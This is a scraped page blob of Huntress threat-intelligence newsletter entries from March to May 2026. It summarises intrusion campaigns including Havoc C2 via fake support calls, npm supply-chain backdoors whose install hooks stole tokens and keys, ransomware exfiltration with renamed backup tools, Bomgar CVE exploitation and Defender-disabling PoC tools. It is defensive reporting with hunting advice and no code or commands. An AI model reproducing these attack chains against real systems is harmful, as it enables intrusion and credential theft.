Fake “IT support” calls aren’t just after your gift cards anymore: they’re using fake Outlook Antispam Control Panels, DLL sideloading, and more to deploy Havoc, an open-source post-exploitation command-and-control (C2) framework. It’s social engineering up front, network compromise out back, with RMM abuse as the safety net. This blog post by Anna Pham, Michael Tigges (senior hunt and response analyst) and Bryan Masters (senior hunt and response analyst) dissected the campaign.

$\"\"$ Intrusion chain

","Tech Support on the Line, Havoc in Your Network","

Lock down RMM usage, hunt for DLL sideloading and use security awareness training.

","

From Jai Minton (manager, hunt and response) and Ryan Dowd (principal security operations center analyst): A new blog post broke down an incident where fake OpenClaw installers on GitHub rode AI-powered Bing search straight onto victims’ machines, dropping Vidar / PureLogs infostealers, a new Stealth Packer, and GhostSocks to turn endpoints into residential proxies for MFA-busting fraud and follow-on attacks across Windows and macOS.

","Fake OpenClaw Installers, GhostSocks & AI-Poisoned Search","

As new technologies emerge, threat actors are targeting technical users with administrative privileges. It’s important to educate these high-risk employees on identifying malicious installers and understanding tech-related risks.

","

Attackers aren’t just “hacking in” – they’re installing your tools. A recent blog post by Chad Hudson, senior hunt and response analyst, looked at a campaign where low-skill crews daisy-chained legit RMM and deployment platforms (SimpleHelp, HeartbeatRM, ScreenConnect, etc.) behind Social Security and invite-themed lures, brute-forced MSI downloads from GitHub, and even tested Huntress itself to tune their playbooks.

","RMM Abuse: When ‘Remote Help’ Becomes Initial Access","

RMM abuse is up 277% and now fuels everything from infostealers to credential raids. As Chad said in his blog, “RMM abuse isn’t really a tooling problem; it’s a trust problem.”

","

Tax season is here, and the tax-themed lures are already pouring in. A massive malvertising campaign was found hijacking W-2/W-9 searches, dropping rogue ScreenConnect instances, stacking multiple RMMs, and then abusing a previously undocumented Huawei audio driver to kill Defender, Kaspersky, and SentinelOne processes from kernel mode. Anna Pham, senior hunt and response analyst, detailed the attack in a blog post.

$\"\"$ Rogue ScreenConnect delivery page

","Tax Forms, Fake Ads, Real Kernel Panic","

Treat tax-form Google Ads, trial ScreenConnect relays, and unapproved RMMs with suspicion. Hunt in C:\\Windows\\SystemTemp\\ScreenConnect\\ for unsigned or unknown binaries.

","https://cdn.builder.io/api/v1/image/assets%2F56539a05dc944fe088e47bb383845dd1%2F4b19336886cb4ccda5d6bf6d825eae04",[1774,1775],"

",{"_122":1779,"_102":1780,"_682":95,"_125":1781},{"_122":1776,"_102":1777,"_682":95,"_125":1778},"

Huntress analysts traced a recent INC ransomware incident back to something many orgs overlook: incomplete visibility. After targeting a customer with no SIEM and limited agent deployment, the threat actor mapped a network share, used PsExec for privilege escalation, then scheduled a PowerShell script that quietly configured Restic—renamed as winupdate.exe—to exfiltrate data. They disabled existing security tools, turned off Defender, and finally pulled the trigger on encryption. Correlated activity from a nearly identical February case helped expose the attacker’s shared backup infrastructure and tradecraft. Read more in this blog post.

","INC Ransomware and Limited Visibility","

For security teams, this case is a stark example of how incomplete endpoint and SIEM coverage creates blind spots that let ransomware actors quietly stage and exfiltrate data with legitimate backup tools and LOLBins.

","

In March, Huntress peeled back an Iranian-linked intrusion (tracked as MuddyWater) within an Israeli network. The attackers gained entry via RDP and used DLL side-loading, where they tricked a legitimate file (FMAPP.exe) into loading up a DLL with malicious code. In a twist, analysts saw the hackers fumbling commands in real-time and struggling with their command-and-control (C2) server. It’s a detailed look at high-level tactics paired with rocky execution errors. Read the full analysis here.

$\"\"$ The timeline of activities developed from detection data

\n","Wading Through a (Muddy)Water Attack","

Security teams should monitor and correlate routine-looking RDP logins, built-in SSH usage, and signed binaries like FMAPP.exe for DLL side-loading to quickly surface MuddyWater-style intrusions.

","Huntress Adversary Tactics March 2026 breaks down MuddyWater attacks, INC ransomware, RMM-based initial access, and the axios npm supply chain compromise.","

Welcome to the Adversary Tactics newsletter, your information source for the emerging threats we’re tracking at Huntress and around the world. Let’s work together to wreck hackers who relentlessly target the most vulnerable community: our customers, partners, and their customers. Be safe. Be vigilant. But first, stay informed!

",{"_193":194,"_195":196,"_104":197},{"_203":1884},{"_203":1867},{"_203":1850},{"_203":1835},{"_203":1806},{"_203":1791},{"_205":206,"_54":207,"_32":208,"_209":1792},{"_211":212,"_213":214,"_34":1793,"_216":217,"_218":1794,"_54":207,"_220":221,"_222":223,"_224":221,"_225":1795,"_227":228,"_56":229,"_230":230,"_231":1796,"_233":1797,"_235":236,"_237":1798},{"_58":239,"_240":241,"_242":243,"_244":245,"_246":247,"_248":1799,"_250":251,"_252":253,"_254":255,"_77":1800,"_56":229,"_257":258,"_259":260,"_85":261,"_91":1801},[],{},[],"nafvz60i7d",{},[1802,1803],{"_181":263,"_183":229},[93],{"_266":1805},{"_266":1804},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":1807,"_32":208,"_209":1808},"5c093b0116de4cea96de1ada07acdfd8",{"_211":1809,"_213":1810,"_34":1811,"_216":1812,"_218":1813,"_54":1807,"_220":221,"_222":1814,"_224":221,"_225":1815,"_227":228,"_56":1816,"_230":230,"_231":1817,"_233":1818,"_283":17,"_235":236,"_237":1819},"rqPhimgdOfVCrDCbaxcCVZPJeJc2",1769027095568,{"_58":1816,"_240":1820,"_242":1821,"_244":245,"_246":1822,"_248":1823,"_250":1824,"_72":1825,"_252":1826,"_254":1827,"_77":1828,"_56":1816,"_257":1829,"_259":1816,"_85":1830,"_91":1831},1769027249922,[],1794331369637,{},"Casey Smith",[],"tr2pg8cou2",{},"

Casey Smith's cybersecurity journey began in the early 2000s at Cisco Systems, where he contributed to the groundbreaking SAFE (Secure Architecture for Enterprise) initiative — sparking a career-long passion for testing the boundaries of defensive systems. He is the co-creator of Atomic Red Team, a widely adopted open-source testing framework, and has held impactful roles at Red Canary, Thinkst Canary, and in the financial sector.

At Huntress, Casey focuses on adversary tactics with a keen interest in identity-based attacks. He's driven by a simple but powerful philosophy: if you haven't tested it, it doesn't work. When he's not outsmarting adversaries, Casey can be found exploring the Colorado outdoors or diving into a good non-fiction book.

","He is the co-creator of Atomic Red Team, a widely adopted open-source testing framework, and has a passion for testing the boundaries of defensive systems.","Casey",[1833],"Former Staff Threat Intelligence Analyst",{},"Smith","https://www.linkedin.com/in/casey-s-3562223a6/",{"_181":1832,"_183":1816},"https://images.huntress.com/asset/file/a4a4838f93924f45a602b2b869e9eb0f","casey-smith",[93],"Read cybersecurity blogs from Casey Smith on the Huntress Blog. ",{"_266":1834},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":272,"_32":208,"_209":1836},{"_211":274,"_213":275,"_34":1837,"_216":275,"_218":1838,"_54":272,"_220":221,"_222":278,"_224":221,"_225":1839,"_227":228,"_56":280,"_230":230,"_231":1840,"_233":1841,"_283":17,"_235":236,"_237":1842},{"_240":285,"_242":286,"_246":287,"_248":1843,"_250":289,"_252":290,"_77":1844,"_56":280,"_292":293,"_257":294,"_259":295,"_85":296,"_91":1845,"_298":299},[],{},[],"gipsvw5vabd",{},[1846,1847],{"_181":300,"_301":17,"_302":17,"_183":303},[93],{"_266":1849},{"_266":1848},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":310,"_32":208,"_209":1851},{"_211":274,"_213":312,"_34":1852,"_216":312,"_218":1853,"_54":310,"_220":221,"_222":315,"_224":221,"_225":1854,"_227":228,"_56":317,"_230":230,"_231":1855,"_233":1856,"_235":236,"_237":1857},{"_240":321,"_242":322,"_244":245,"_246":323,"_248":1858,"_250":325,"_252":326,"_254":327,"_77":1859,"_56":317,"_292":329,"_257":330,"_259":331,"_85":332,"_91":1860,"_298":334},[],{},[],"71nj9sgplw9",{},[1861,1862,1863],{"_181":335,"_301":17,"_302":17,"_183":336},[93],{"_266":1866},{"_266":1865},{"_266":1864},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":344,"_32":208,"_209":1868},{"_211":346,"_213":347,"_34":1869,"_216":347,"_218":1870,"_54":344,"_220":221,"_222":350,"_224":221,"_225":1871,"_227":228,"_56":352,"_230":230,"_231":1872,"_233":1873,"_235":236,"_237":1874},{"_240":356,"_242":357,"_244":245,"_246":358,"_248":1875,"_360":361,"_250":362,"_252":363,"_254":364,"_77":1876,"_56":352,"_292":366,"_257":367,"_259":368,"_85":369,"_91":1877,"_298":371},[],{},[],"xuhllps08vl",{},[1878,1879,1880],{"_181":372,"_301":17,"_302":17,"_183":373},[93],{"_266":1883},{"_266":1882},{"_266":1881},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":381,"_32":208,"_209":1885},{"_211":346,"_213":383,"_34":1886,"_216":383,"_218":1887,"_54":381,"_220":221,"_222":386,"_224":221,"_225":1888,"_227":228,"_56":388,"_230":230,"_231":1889,"_233":1890,"_283":17,"_235":236,"_237":1891},{"_240":392,"_242":393,"_244":245,"_246":394,"_248":1892,"_250":396,"_252":397,"_254":398,"_77":1893,"_56":388,"_292":400,"_257":401,"_259":402,"_85":403,"_404":405,"_91":1894},[],{},[],"e64k4uvmkwb",{},[1895,1896,1897],{"_181":407,"_301":17,"_302":17,"_183":408},[93],{"_266":1900},{"_266":1899},{"_266":1898},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_420":422,"_418":423},{"_420":421,"_418":180},{"_418":1904},"March 2026",{"_60":1908,"_62":1909,"_64":1910,"_66":1911,"_68":1912,"_74":1913,"_77":1914,"_56":1907,"_79":1915,"_81":1916,"_83":1917,"_85":1918,"_89":90,"_91":1919},"490f8422197445e995e9e91dbe16cf69","Threat View from the Lens of Huntress Adversary Tactics: April 2026",[2120,2121,2122],{"_94":95},[1984,1985,1986,1987,1988,1989],{"_186":1983,"_188":189,"_190":191,"_183":192},{},{"_122":1982,"_94":17},{"_181":1981,"_183":1907},{"_106":1920},"Wed Apr 29 2026 00:00:00 GMT-0400 (Eastern Daylight Time)",{"_96":97,"_98":99,"_100":101,"_102":103,"_94":95,"_104":105},"april-2026",[93],[1921,1922,1923,1924,1925,1926],{"_113":166,"_115":1968,"_117":1969,"_118":169},{"_113":906,"_115":1958,"_117":1959,"_118":484},{"_113":154,"_115":1948,"_117":97,"_118":156},{"_113":141,"_115":1940,"_117":1941,"_118":144},{"_113":128,"_115":1930,"_117":1931,"_118":131},{"_113":166,"_115":1927,"_117":97,"_118":119},[1928],{"_122":1929,"_102":127,"_682":17,"_125":97},"

At Huntress' April 14 Tradecraft Tuesday, John Hammond and Logan MacLaren from Huntress were joined by Ben Read from Wiz and Charlie Eriksen from Aikido Security to break down the axios supply chain compromise. They covered the attack's tradecraft, the broader npm threat landscape, and the growing risk of LLM-assisted supply chain attacks.

$\"\"$ April Tradecraft Tuesday

",[1932,1933,1934,1935],"

Check out this month’s Product Lab, where Huntress CEO Kyle Hanslovan and Chief Product Officer Prakash Ramamurthy tuned in to talk about product updates, upcoming features, and roadmap reviews. And to join our next Product Lab episode on May 28, sign up here!

$\"\"$ April 2026 Product Lab

",{"_122":1939,"_102":470,"_682":17,"_125":97},{"_122":1938,"_102":468,"_682":17,"_125":97},{"_122":1937,"_102":466,"_682":17,"_125":97},{"_122":1936,"_102":464,"_682":17,"_125":97},"

New Phishing Summary Report (GA): A new Phishing Summary Report is now generally available with a visual and data overhaul that better matches other Huntress reports giving clearer insight into phishing simulations and outcomes.
SCORM Self-Service (Early Access): A new, tightly integrated SCORM self-service flow lets customers more easily generate SCORM content themselves to use in a third-party LMS.
New Training Content: Insider Threat & AI Poisoning: SAT released, “Insider Threat,” and an “AI Poisoning” episode focused on AI risks and safe usage, addressing strong demand from customers who want to train users on AI-related threats and expanding our existing library of AI-themed training content.

","

Okta Integrations and Detections: Managed SIEM is expanding Okta support with a new wave of detections designed to surface suspicious identity activity faster and with better context. These detections help teams identify risky authentication patterns, potential account compromise, and activity that may indicate attackers are trying to gain or maintain access through identity systems.
First LDAP / Directory Services Detection: New directory-services telemetry and detections produced their first real-world Lightweight Directory Access Protocol (LDAP)-based detection. This can help catch suspicious account enumeration on a domain controller and expose new previously undetectable attacker recon.

","

EDR /ITDR Identity Correlations: We’re excited to share that we now provide EDR/ITDR Correlations for Huntress Managed EDR and Managed ITDR customers. EDR/ITDR Correlations is a capability that only Huntress can deliver because it requires both an endpoint agent and an identity detection platform operating on the same customer base. So, how does it work? When Huntress Managed EDR detects an attack on a Windows endpoint, EDR/ITDR Correlations will automatically resolve the compromised endpoint to the Microsoft 365 identities that were logged in on that machine - enabling Managed ITDR to immediately surface in the EDR Incident Report, and remediate the affected identities. This is groundbreaking because it enables near-instantaneous identity remediation based on endpoint detection! Learn more here!
Google Workspace ITDR Student License Exclusions: For partners in the education sector, ITDR can now exclude student GWS accounts from billing while still protecting staff, and aligning the licensing costs with users that actually need coverage.
Google Workspace Logs now available in Huntress SIEM: Google Workspace ITDR events now flow into Huntress SIEM with field mapping, ingest wiring, exempt key prefixes, backfills, and starter queries. This tightens the integration between identity and log telemetry across Microsoft 365 and Google Workspace.

","

Vulnerable Driver Detections: Managed EDR now leverages Microsoft’s Vulnerable Driver Block List (and custom audit-only lists) to alert when Windows blocks a known vulnerable driver. This gives us earlier visibility into a common precursor to foothold expansion, lateral movement, ransomware, and data theft.
Attack Disruption Wins vs. Akira: Attack Disruption stopped live Akira ransomware incidents before any files were encrypted. Learn more about how Huntress Managed EDR disrupts Akira and other endpoint attacks in this blog post.

",[1942,1943],"

",{"_122":1946,"_102":1947,"_682":17,"_125":97},{"_122":1944,"_102":1945,"_682":17,"_125":97},"

$\"\"$ Code phishing in action

Check out the full Rapid Response blog here, which includes detection queries, IoCs, and hardening guidance so teams can hunt for activity and tighten M365 controls.

","Threat actors abuse Railway.com PaaS as Microsoft 365 token attack infrastructure","

On March 30, an attacker compromised the npm credentials of axios's lead maintainer and published two backdoored versions of the library, one of the most widely used JavaScript packages in the world, with over 100 million weekly downloads. The malicious versions silently injected a phantom dependency that executed a post-install hook, dropping a cross-platform RAT on macOS, Windows, and Linux with no user interaction required. The first Huntress-monitored infection landed 89 seconds after the malicious package was published. Within the three-hour exposure window, 135 Huntress-monitored endpoints contacted the C2.

$\"\"$

Huntress EDR detecting the execution of this attack chain

The malicious packages are now removed and the C2 is offline, but any system that ran npm install during the window should be treated as fully compromised. Rotate all credentials accessible from affected systems. Huntress researchers wrote a Rapid Response blog post.

","Supply chain compromise of the axios npm package",[1949,1950,1951],{"_122":1956,"_102":1957,"_682":17,"_125":97},{"_122":1954,"_102":1955,"_682":17,"_125":97},{"_122":1952,"_102":1953,"_682":17,"_125":97},"

On April 7, Anthropic released Claude Mythos Preview under Project Glasswing, a deliberately restricted rollout to a small group of vetted partners. The reason for the tight leash is straightforward: Anthropic claims that Mythos has found unpatched zero-days across major operating systems, including a flaw that sat undetected in OpenBSD for 27 years. Anthropic stated it has no plans to make Mythos generally available. Governments are watching closely, and the UK AI Security Institute has already begun an independent evaluation. The offense-defense balance question this raises is one that the security community will be debating for a while.

","Claude Mythos preview: What security teams need to know","

Another day, another supply chain attack. A malicious version of the Bitwarden CLI package (@bitwarden/cli@2026.4.0) was published in April via a compromised GitHub Action in Bitwarden's CI/CD pipeline. The rogue package executed a preinstall hook that stole GitHub and npm tokens, SSH keys, .env files, shell history, GitHub Actions secrets, and cloud credentials, exfiltrating everything to attacker-controlled domains. The attack appears to have leveraged a compromised GitHub Action in Bitwarden's CI/CD pipeline, consistent with the pattern seen across other affected repositories in this campaign.

","Bitwarden CLI compromised in supply chain attack","

On April 19, Vercel confirmed unauthorized access to internal systems tracing back to Context.ai, a third-party AI productivity tool used by a Vercel employee. The attacker used that access to take over the employee's Vercel Google Workspace account, which enabled them to gain access to that employee's Vercel account. From there, they pivoted into internal environments to enumerate and decrypt non-sensitive environment variables. A Lumma Stealer infection of a Context.ai employee in February 2026 appears to have started the chain. A threat actor claiming to be ShinyHunters posted the stolen data on BreachForums with a $2 million asking price. If you store unencrypted secrets in Vercel environment variables, rotate them now.

","One OAuth grant, one compromised tool, one bad day for Vercel",[1960,1961],"

Our Tactical Response team was developed as a separate function within our SOC for deep dives into intrusions and to answer partners’ questions outside the scope of 24x7 SOC operations. It helps bridge the gap between the SOC and when formal incident response is required. Our Tactical Response findings also give us a lot of clues about how intrusions play out.

",{"_122":1965,"_102":1966,"_682":95,"_125":1967},{"_122":1962,"_102":1963,"_682":95,"_125":1964},"

The Huntress SOC has been tracking Bomgar RMM exploitation via CVE-2026-1731 since February. We recently saw an uptick in attacks in April, with two incidents sticking out in particular:

On April 15, one compromised MSP account triggered the mass isolation of 78 downstream businesses
On April 14, ransomware tore through three organizations via a dental software company's Bomgar instance

The attacker playbook included rogue Domain Admin accounts, AnyDesk and ScreenConnect instances layered in for persistence, EDR tooling killed via BYOVD drivers, and LockBit 3.0 deployment.

$\"\"$ Bomgar RMM incidents

","CVE-2026-1731: the RMM vulnerability that keeps on giving","

Bomgar versions prior to 25.3.2 are still exposed: this one's not over. Learn more in this post by Josh Allman.

","

While investigating an intrusion, the Huntress SOC caught live use of proof-of-concept (PoC) tooling released by a researcher under the alias “Nightmare-Eclipse.”

BlueHammer (CVE-2026-33825), RedSun, and UnDefend, three publicly available Windows Defender privilege escalation and disruption tools, were staged in a victim's Pictures folder and executed against a real target. The actor achieved initial access with compromised FortiGate SSL VPN credentials. A previously undocumented Go-based tunneling tool, BeigeBurrow, was also spotted beaconing to attacker C2.

$\"\"$ Nightmare-Eclipse released BlueHammer, RedSun, and UnDefend

","PoC to production: BlueHammer hits a real target","

Here’s the good news: the threat actor fumbled the execution, and none of the exploits succeeded. But there’s also bad news: UnDefend and RedSun remain unpatched. Read the full breakdown by Anna Pham and Michael Tigges. Also: special thanks to Dani Lopez, Tanner Filip, Anton Ovrutsky and John Hammond for their investigation into this.

",[1970,1971,1972],"

",{"_122":1978,"_102":1979,"_682":95,"_125":1980},{"_122":1975,"_102":1976,"_682":95,"_125":1977},{"_122":1973,"_102":1974,"_682":17,"_125":97},"

Time-of-Check to Time-of-Use (TOCTOU) race condition bugs were all over the place this month (see: our BlueHammer findings below). Ryan Dowd found a TOCTOU bug in macOS while reviewing Apple EDR integrations.

TOCTUO bugs are caused by the tiny window of time between when a program checks a condition and when it actually performs an action based on that check. Attackers can sneak in during that split second and change the state of the system. This makes the program's \"check\" invalid–opening the door for malicious activities.

In this case, exploitation of the bug can enable attackers without admin privileges to delete content protected by the Transparency Consent and Control (TCC) framework, one of Apple’s key components of their privacy controls. To exploit the flaw, an attacker would need to hit that timing window at just the right time.

$\"\"$ An Apple bug was found during an EDR integration review

The flaw has been reported to Apple and is currently being triaged by their security team.

","Right place, right time, wrong permissions","

What started as an adware alert turned into something far nastier. Researchers found that Dragon Boss Solutions LLC was silently deploying ClockRemoval.ps1, a SYSTEM-level AV killer targeting Malwarebytes, Kaspersky, ESET, and others. It could kill processes, poison the host file to block AV updates, strip registry entries, and carve out Defender exclusions for future payloads. And here’s the kicker: The primary C2 domain was unregistered. 😳 Huntress grabbed it first, sinkholed it, and watched 23,565 infected endpoints check in, including universities, OT networks, and government entities across 124 countries.

$\"\"$ The attack chain

","A $10 domain registration away from 25K compromised endpoints","

Don't sleep on PUPs. Read the full breakdown here by James Northey and Ryan Dowd.

","

The Huntress SOC responded to a Linux compromise where the victim had introduced a third party to the chaos: OpenAI's Codex, tasked with responding to symptoms of malicious behavior (in this case, loud fans caused by cryptomining malware).

Codex silenced the fans. The cryptominer kept mining.

Meanwhile, the AI-generated commands looked like threat actor tradecraft, leaving analysts to pick through the wreckage one signal at a time and separate the AI's \"help\" from the actual threat. What they found underneath: CVE-2025-55182 (React2Shell) exploitation, eight persistence mechanisms, and 15 categories of exfiltrated data, including SSH keys, cloud creds, and API tokens. AI got a C+. The SOC cleaned up the mess.

$\"\"$ What Codex found and missed

","The AI that fixed the fan but missed the miner","

Don’t get us wrong–AI has its uses–but incidents like this show the value of human experts behind the tools who have the experience in performing telemetry-driven investigations. Check out our blog post by James Northey and John Hammond on this incident (parts one and two).

","Huntress Adversary Tactics April 2026 covers a cryptominer hidden by AI, the BlueHammer exploit in the wild, and the Bitwarden CLI supply chain attack.","

Welcome to the Adversary Tactics newsletter, your information source for the emerging threats we’re tracking at Huntress and around the world. Let’s work together to wreck hackers who relentlessly target our customers, partners, and their customers. Be safe. Be vigilant. But first, stay informed!

",{"_193":194,"_195":196,"_104":197},{"_203":2103},{"_203":2086},{"_203":2069},{"_203":2055},{"_203":2005},{"_203":1990},{"_205":206,"_54":207,"_32":208,"_209":1991},{"_211":212,"_213":214,"_34":1992,"_216":217,"_218":1993,"_54":207,"_220":221,"_222":223,"_224":221,"_225":1994,"_227":228,"_56":229,"_230":230,"_231":1995,"_233":1996,"_235":236,"_237":1997},{"_58":239,"_240":241,"_242":243,"_244":245,"_246":247,"_248":1998,"_250":251,"_252":253,"_254":255,"_77":1999,"_56":229,"_257":258,"_259":260,"_85":261,"_91":2000},[],{},[],"v39s5013lg",{},[2001,2002],{"_181":263,"_183":229},[93],{"_266":2004},{"_266":2003},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":2006,"_32":208,"_209":2007},"60fad31d1711446fac3ce0e0c1af8c0d",{"_211":2008,"_213":2009,"_34":2010,"_216":2011,"_218":2012,"_54":2006,"_222":2013,"_224":221,"_225":2014,"_227":228,"_56":2015,"_527":2016,"_230":230,"_231":2017,"_233":2018,"_283":17,"_235":236,"_237":2019},"ZHpwzbOhr6Vg3QqgYaBHvq3dRME2",1776886991860,{"_240":2020,"_242":2021,"_244":245,"_246":2022,"_248":2023,"_250":2024,"_72":2025,"_252":2026,"_254":2027,"_77":2028,"_56":2015,"_292":2029,"_257":2030,"_259":2015,"_85":2031,"_91":2032},1776887279794,[],1794331788148,{},"Andrew Brandt",-46458.75,[],"4yei012ldcb",{},"

Andrew Brandt is a cybercrime analyst with more than 20 years' experience in malware analysis, network forensics, and counter-adversary operations who applies his background in investigative journalism to convey narratives about how cybercriminals operate to customers, the cybersecurity industry, and the world.

","Andrew Brandt is a cybercrime analyst with more than 20 years' experience in malware analysis, network forensics, and counter-adversary operations who applies his background in investigative journalism to convey narratives about how cybercriminals operate to customers, the cybersecurity industry, and the world.","Andrew",[2035,2036],"Principal Threat Intelligence Incident Commander",{},"Brandt","https://www.linkedin.com/in/andrew-brandt-9603682",{"_181":2033,"_183":2034},"https://images.huntress.com/asset/file/bfbbdd13527a454596cdff36f2cf933e","https://images.huntress.com/asset/file/9c47dceae14848eba81af665c6287608","andrew-brandt",[93],"Read more from Andrew Brandt on the Huntress Cybersecurity Blog","Andrew Brandt - Principal Threat Intelligence Incident Commander",{"_266":2046},{"_266":2037},{"_205":206,"_54":270,"_32":248,"_209":2038},{"_211":539,"_213":540,"_34":2039,"_216":542,"_218":2040,"_54":270,"_222":544,"_224":539,"_225":2041,"_227":546,"_56":547,"_230":230,"_231":2042,"_233":2043,"_235":236,"_237":2044},{"_56":547},[],{"_551":2045,"_553":95,"_554":17,"_555":34,"_556":97},[],"fsfvaw15e2",{},{"_557":558,"_559":560},{"_205":206,"_54":268,"_32":248,"_209":2047},{"_211":733,"_213":1026,"_34":2048,"_216":1028,"_218":2049,"_54":268,"_222":1030,"_224":733,"_225":2050,"_227":546,"_56":180,"_230":230,"_231":2051,"_233":2052,"_235":236,"_237":2053},{"_56":180},[],{"_551":2054,"_553":95,"_555":34,"_556":97},[],"6l6oqij6l4h",{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":1807,"_32":208,"_209":2056},{"_211":1809,"_213":1810,"_34":2057,"_216":1812,"_218":2058,"_54":1807,"_220":221,"_222":1814,"_224":221,"_225":2059,"_227":228,"_56":1816,"_230":230,"_231":2060,"_233":2061,"_283":17,"_235":236,"_237":2062},{"_58":1816,"_240":1820,"_242":1821,"_244":245,"_246":1822,"_248":2063,"_250":1824,"_72":2064,"_252":1826,"_254":1827,"_77":2065,"_56":1816,"_257":1829,"_259":1816,"_85":1830,"_91":2066},[],{},[],"pnbjemftag",{},[2067],{},{"_181":1832,"_183":1816},[93],{"_266":2068},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":310,"_32":208,"_209":2070},{"_211":274,"_213":312,"_34":2071,"_216":312,"_218":2072,"_54":310,"_220":221,"_222":582,"_224":221,"_225":2073,"_227":228,"_56":317,"_230":230,"_231":2074,"_233":2075,"_235":236,"_237":2076},{"_240":321,"_242":322,"_244":245,"_246":323,"_248":2077,"_250":325,"_252":326,"_254":327,"_77":2078,"_56":317,"_292":329,"_257":330,"_259":331,"_85":332,"_91":2079,"_298":334},[],{},[],"59kdywlh4i3",{},[2080,2081,2082],{"_181":335,"_301":17,"_302":17,"_183":336},[93],{"_266":2085},{"_266":2084},{"_266":2083},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":344,"_32":208,"_209":2087},{"_211":346,"_213":347,"_34":2088,"_216":347,"_218":2089,"_54":344,"_220":221,"_222":350,"_224":221,"_225":2090,"_227":228,"_56":352,"_230":230,"_231":2091,"_233":2092,"_235":236,"_237":2093},{"_240":356,"_242":357,"_244":245,"_246":358,"_248":2094,"_360":361,"_250":362,"_252":363,"_254":364,"_77":2095,"_56":352,"_292":366,"_257":367,"_259":368,"_85":369,"_91":2096,"_298":371},[],{},[],"apjk0sgrf1p",{},[2097,2098,2099],{"_181":372,"_301":17,"_302":17,"_183":373},[93],{"_266":2102},{"_266":2101},{"_266":2100},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":381,"_32":208,"_209":2104},{"_211":346,"_213":383,"_34":2105,"_216":383,"_218":2106,"_54":381,"_220":221,"_222":386,"_224":221,"_225":2107,"_227":228,"_56":388,"_230":230,"_231":2108,"_233":2109,"_283":17,"_235":236,"_237":2110},{"_240":392,"_242":393,"_244":245,"_246":394,"_248":2111,"_250":396,"_252":397,"_254":398,"_77":2112,"_56":388,"_292":400,"_257":401,"_259":402,"_85":403,"_404":405,"_91":2113},[],{},[],"g7ii7dmuzvf",{},[2114,2115,2116],{"_181":407,"_301":17,"_302":17,"_183":408},[93],{"_266":2119},{"_266":2118},{"_266":2117},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_420":422,"_418":423},{"_420":421,"_418":180},{"_418":2123},"April 2026",{"_60":2127,"_62":2128,"_64":2129,"_66":2130,"_68":2131,"_74":2132,"_77":2133,"_56":2126,"_79":2134,"_81":2135,"_83":2136,"_85":2137,"_89":90,"_91":2138},"2fdda61aabff4bf2a81d1de23afd3da2","Threat View from the Lens of Huntress Adversary Tactics: May 2026",[2326,2327,2328],{"_94":95},[2189,2190,2191,2192,2193,2194],{"_186":2188,"_188":189,"_190":191,"_183":192},{},{"_122":1982,"_94":17},{"_181":2187,"_183":2126},{"_106":2139},"Fri May 29 2026 00:00:00 GMT-0400 (Eastern Daylight Time)",{"_96":97,"_98":99,"_100":101,"_102":103,"_94":95,"_104":105},"may-2026",[93],[2140,2141,2142,2143,2144],{"_113":166,"_115":2177,"_117":1969,"_118":169},{"_113":906,"_115":2172,"_117":1959,"_118":484},{"_113":154,"_115":2162,"_117":97,"_118":156},{"_58":2150,"_113":2151,"_115":2152,"_117":2153,"_118":131},{"_113":114,"_115":2145,"_117":97,"_118":119},[2146,2147],{"_122":2149,"_102":127},{"_122":2148,"_102":452,"_682":17,"_125":97},"

Andrew Brandt, principal threat intelligence incident commander, recently went on Darknet Diaries to talk about Pacific Rim, Sophos’ defensive and counter-offensive operation with nation-state adversaries in China. Give it a listen!

$\"\"$

","

During this month’s Tradecraft Tuesday, Huntress’ Harlan Carvey, Principal Threat Intelligence Analyst, and Lindsey O’Donnell-Welch, Principal Technical Community Engagement Writer, explained how the RaaS economy plays out in attacker tradecraft during on-the-ground incidents. Check out the replay (and recap blog).

$\"\"$ May 2026 Tradecraft Tuesday

","EDR Icon","https://images.huntress.com/asset/file/278bf5b73a794763b3ff4c7c04930494",[2154,2155,2156,2157],"

Check out this month’s Product Lab, where Huntress CTO and Co-Founder Chris Bisnett and Principal Product Researcher Jonathan Johnson talked about macOS deceptive installers and more.

$\"\"$ May 2026 Product Lab

",{"_122":2161,"_102":470,"_682":17,"_125":97},{"_122":2160,"_102":468,"_682":17,"_125":97},{"_122":2159,"_102":466,"_682":17,"_125":97},{"_122":2158,"_102":464,"_682":17,"_125":97},"

Check out SAT’s new Phishing Simulation Demo: This phishing scenario shows a type of attack we’ve seen in the wild, where victims receive a fake Microsoft Teams meeting invite, and are asked to join a real call with an AI-generated person. The audio cuts in and out, which prompts them to update the Teams driver - which in actual incidents has paved the way for the attack.
ScalePad's Lifecycle Manager now pulls in SAT data alongside its existing EDR integration, so MSPs can report on both endpoint threats and human risk (phishing simulation results, training completion, user behavior) in one consolidated, client-ready report instead of jumping between tools.
Custom content from PDF imports: SAT’s Custom Content Creator can now import a PDF of PowerPoint or Google Slides and turn it into custom training content.
New Assignment PDF Summary Report: The assignment PDF summary report was redesigned to include richer learner completion/incompletion data and session-count detail.
New SAT episodes: The May materials call out Secure Browsing 2 and Insider Threat (2026) as new episode content

","

Okta integration with new detections: Managed SIEM expanded Okta support with new detections/use cases for risky authentication patterns and potential account compromise.
SIEM via macOS agent: Managed SIEM is now available through the Huntress macOS agent for broader Mac visibility.
Check out this blog post by Cody Staley to learn how Huntress's internal security teams use Managed SIEM in a tight feedback loop with the product team, so every feature you get is battle-tested to help you detect threats faster, correlate signals across endpoints and identities, and catch complex attacks that single-event tools would miss.

","

